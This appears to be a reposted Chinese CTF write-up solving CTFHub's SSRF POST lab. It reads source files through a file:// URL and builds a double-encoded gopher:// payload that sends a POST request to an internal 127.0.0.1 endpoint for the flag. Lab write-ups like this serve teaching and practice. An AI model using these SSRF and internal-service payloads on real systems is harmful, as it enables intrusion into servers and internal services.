当前位置: 首页 > news >正文

CTFHub靶场之SSRF POST请求

目录

一、Gopher协议

1、Gopher简介

2、Gopher语法

二、渗透实战

1、开启题目,打开靶场

2、目录探测

(1)Dirsearch探测

(2)查看index.php

(3)查看flag.php

3、获取Key值

4、构造gopher渗透Payload

5、获取flag


本文详细介绍了利用Gopher协议进行CTFHub靶场的SSRF POST关卡的渗透攻击实战过程。首先分析了Gopher协议的特点和工作原理,重点讲解了如何通过Gopher协议构造POST请求绕过HTTP协议限制。随后通过靶场实例,展示了如何利用SSRF安全风险访问内网服务,包括目录探测、源码分析、获取key值等关键步骤。文章详细说明了手工编构造Gopher Payload的方法,最终成功获取flag。整个过程涉及SSRF利用、Gopher协议编码、POST请求构造等技术要点。

一、Gopher协议

1、Gopher简介

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

  • 特点: 简单、无状态、基于 TCP。

  • 工作方式: 客户端向服务器发起一个 TCP 连接(默认端口 70),发送一个字符串(选择器,selector),然后服务器返回相应的文本信息并关闭连接。

  • 常用于攻击内网服务: 许多内网服务(如 Redis)没有密码认证或使用弱密码,并且因为它们在内网,通常缺乏严格的输入过滤。通过 SSRF 结合 Gopher 协议,攻击者可以直接与这些服务交互,执行命令。

2、Gopher语法

一个用于攻击的 Gopher URL 需要被精心编码。其基本格式为:

gopher://<host>:<port>/_<TCP数据流>

关键点

  • _(下划线): 后面跟随的数据会被直接发送到目标服务器的 TCP 端口。

  • 数据流需要经过 URL 编码: 因为 URL 本身有特殊字符(如 %#?),所以原始数据需要被编码,尤其是换行符 \r\n 需要被编码为 %0D%0A

  • 第一个字符: 在数据流中,第一个发送的字符会被忽略(通常是用于表示类型的字符,在传统 Gopher 中已不再需要),所以通常我们会用一个无关字符(如 _)或空格(编码为 %20)来占位。

二、渗透实战

1、开启题目,打开靶场

打开题目,提示信息为“这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦”。此时点击开启题目,复制URL链接。

 打开burpsuite开启抓包模式,firefox浏览器开启代理指向burpsuite。在firefox浏览器打开靶场,访问index.php直接响应HTTP/1.1 302 Found并重定向到/?url=_页面,提示有一个参数名为url,index.php的响应报文如下所示,根据提示我们可以利用url这个参数获取源码内容。

HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Mon, 08 Sep 2025 11:50:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
X-Powered-By: PHP/5.6.40
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

2、目录探测

(1)Dirsearch探测

使用dirsearch探测靶场的目录(python dirsearch.py -u 靶场URL -i 200,300-399),如下所示发现有flag.php这个文件,这里我增加了参数-i 限制了响应code的数值,这是因为如果不加的话会有大量的503导致很难找到有意义的文件,如下就是不加参数执行命令(python dirsearch.py -u 靶场URL)的运行结果,需要翻半天才能找到存在flag.php这个文件。

在通过-i参数限制只显示 200 和 3xx后,运行结果如下所示,确认根目录下存在flag.php文件。

(2)查看index.php

通过使用file协议访问index.php的源码,输入?url=file:///var/www/html/index.php的Paylaod进行访问,右键查看源码效果如下所示,显示了index.php的源码内容。

对源码进行详细分析,代码中包含函数curl_exec()函数,说明这是一个存在严重SSRF(服务器端请求伪造)安全风险的PHP源码,因为$_REQUEST['url'] 直接传递给 CURLOPT_URL,其参数为URL,源码内容如下所示。

<?phperror_reporting(0);
if (!isset($_REQUEST['url'])){header("Location: /?url=_");exit;
}$ch = curl_init();   //初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);    //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0);   //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。 
curl_exec($ch);  //执行
curl_close($ch);

(3)查看flag.php

接下来构造URL,查看flag.php文件:?url=file:///var/www/html/flag.php。如下所示访问flag页面后发现当前为空页面,使用右键查看源码打开。分析源码,flag.php源码内容如下所示,它告诉我们只有从 127.0.0.1(即服务器本地)访问此页面时,才会继续执行;否则,显示 "Just View From 127.0.0.1" 并停止。

由于页面只能从 127.0.0.1 访问,普通用户无法直接打开这个页面。因此,通常需要利用 SSRF(服务器端请求伪造) 来绕过 IP 限制。详细注释后的源码分析如下所示。

<?php
// 关闭所有错误报告,避免向用户泄露敏感信息
error_reporting(0);// 检查客户端的 IP 地址是否为 127.0.0.1(即本地主机)
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";return; // 如果不是本地 IP,显示消息并停止执行
}// 从环境变量中获取 flag 的值,环境变量名为 "CTFHUB"
$flag = getenv("CTFHUB");
// 计算 flag 的 MD5 哈希值,作为密钥
$key = md5($flag);// 检查用户是否通过 POST 方法提交了 "key" 参数,并且该参数的值等于 $key(flag 的 MD5)
if (isset($_POST["key"]) && $_POST["key"] == $key) {echo $flag; // 如果匹配,输出 flagexit; // 并退出程序
}
?><!-- 下面是一个简单的 HTML 表单,用于提交 key -->
<form action="/flag.php" method="post"><input type="text" name="key"><!-- 调试信息:在注释中显示 key 的 MD5 值,但用户通常看不到(除非查看页面源代码) --><!-- Debug: key=<?php echo $key;?>-->
</form>

通过源码分析,如果想要获取flag,应该满足两个条件:绕过IP限制,通过获取Key值请求flag。

  • 问题1:如何绕过 IP 限制?
    • 由于只能从本地访问,但 flag 在服务器上,我们需要:利用 SSRF(服务器端请求伪造)
    • 找到同一服务器上其他存在 SSRF 安全风险的页面,也就是index.php这个文件

    • 通过index.php这个具有SSRF风险的文件让服务器自己访问自己(127.0.0.1

  • 问题2:如何获取 flag的值?
    • key 是 flag 的 MD5,但我们需要先知道 key 才能获取 flag:
    • 第一次请求:GET 访问页面,从 HTML 注释中获取 key 值
    • 第二次请求:POST 提交获取到的 key值来换取 flag

3、获取Key值

综上分析需通过127.0.0.1去访问服务器以绕过IP限制,故而查看flag.php文件应该使用Payload(/?url=127.0.0.1/flag.php)来拿到KEY,key值为1e7074af2a799d0ffac60de77ed150b6。

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=1e7074af2a799d0ffac60de77ed150b6-->
</form>-->
</form>

4、构造gopher渗透Payload

结合最初页面的提示“这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的”,分析如何在ssrf提交post传参,即通过满足如下条件构造报文,这里需要注意content-length的长度32正好是key的长度,也就是通过len(key=1e7074af2a799d0ffac60de77ed150b6)计算得来。

  • 用户需要通过 POST 请求提交一个 key 参数。

  • 如果提交的 key 与 flag 的 MD5 值(即 $key)相等,则直接输出 flag。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=1e7074af2a799d0ffac60de77ed150b6

这里就要介绍到gopher协议,通过gopher协议构建一个POST请求包来发送这个KEY,由于Gopher协议需要进行URL编码,故而对如上报文进行编码。对原始报文进行第一次URL编码,编码后如下黄色背景所示。

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=1e7074af2a799d0ffac60de77ed150b6

然后把并把%0A替换成%0d%0A,并且末尾要加上%0d%0a(\r\n)。将%0A 替换成 %0D%0A 的含义是关于 HTTP 协议行结束符的标准格式。根据 HTTP/1.1 规范(RFC 7230)

HTTP 消息的每行必须以回车符(CR)\r 和换行符(LF)\n 结束,即 \r\n

  • %0A → URL 编码的 \n(换行符,Line Feed)

  • %0D → URL 编码的 \r(回车符,Carriage Return)

  • %0D%0A → URL 编码的 \r\n(回车+换行)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=1e7074af2a799d0ffac60de77ed150b6%0d%0a

然后再进行第二次URL编码,内容如下所示。

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=1e7074af2a799d0ffac60de77ed150b6%250d%250a

5、获取flag

然后直接构造gopher Payload,使用burpsuite发包,如下所示成功获取到flag。


文章转载自:

http://1CLlCQgN.qbykf.cn
http://eGPxUSEh.qbykf.cn
http://HgRYawRI.qbykf.cn
http://dSC5LMaZ.qbykf.cn
http://PlqcacUa.qbykf.cn
http://NhsGBhVg.qbykf.cn
http://8JE059zm.qbykf.cn
http://bqGhaqV4.qbykf.cn
http://JYy0842W.qbykf.cn
http://p2hxee3a.qbykf.cn
http://hIErJRZP.qbykf.cn
http://tzTIz7X9.qbykf.cn
http://7LsUmRgz.qbykf.cn
http://Qg8eeK84.qbykf.cn
http://kYY41wVs.qbykf.cn
http://WEs0RRRy.qbykf.cn
http://73LJccfc.qbykf.cn
http://ZIZg2OpS.qbykf.cn
http://cej2Ac33.qbykf.cn
http://ggDgxxKs.qbykf.cn
http://bp0bQc27.qbykf.cn
http://rde1zgvo.qbykf.cn
http://L2WZJbBD.qbykf.cn
http://p6KNBNs5.qbykf.cn
http://T4Z5gy7P.qbykf.cn
http://5Tbc08B8.qbykf.cn
http://gD74J9z1.qbykf.cn
http://VXddTGXU.qbykf.cn
http://KTMLg5k6.qbykf.cn
http://tFl5Hwja.qbykf.cn
http://www.dtcms.com/a/373501.html

相关文章:

  • Java 大视界 -- 基于 Java 的大数据分布式存储在智慧城市时空大数据管理与应用中的创新实践(408)
  • 人工智能中的线性代数总结--简单篇
  • TightVNC功能介绍
  • 华为2288H V5服务器安装openEuler系统及可视化界面注意点
  • elementui tabs动态渲染+锚点滚动定位
  • 嵌入式 - ARM(2)汇编
  • php计算一个模拟增长过程函数
  • ElementUI 中 validateField 对部分表单字段数组进行校验时多次回调问题
  • DevOps实战(4) - 使用Arbess+GitLab+SourceFare实现Java项目自动化部署
  • Oracle数据库简单查询语句的方法
  • 【红日靶场】vulnstack1
  • 华为麒麟操作系统运维常见知识点
  • 微算法科技(NASDAQ: MLGO)采用分片技术(Sharding)与异步共识机制,实现节点负载均衡,提升交易处理效率
  • 【113】基于51单片机MP3音乐播放器【Keil程序+报告+原理图】
  • 后端开发技术栈
  • 疯狂星期四文案网第64天运营日记
  • 星辰诞愿——生日快乐
  • MySQL速记小册(1)
  • PI3K/AKT信号通路全解析:核心分子、上游激活与下游效应分子
  • Spring框架中使用的核心设计模式 及其 使用场景
  • C++ 设计模式《外卖菜单展示》
  • sv语言中压缩数组和非压缩数组
  • C++----验证派生类虚函数表的组成
  • moxa uport1150串口驱动ubantu20.04 5.15内核安装
  • 中州养老项目:登录功能项目鉴权
  • 2025年渗透测试面试题总结-58(题目+回答)
  • [Dify实战]插件编写- 如何让插件直接输出文件对象(支持 TXT、Excel 等)
  • StringBuilder类的数据结构和扩容方式解读
  • SQL 层面行转列
  • XR数字融合工作站赋能新能源汽车专业建设的创新路径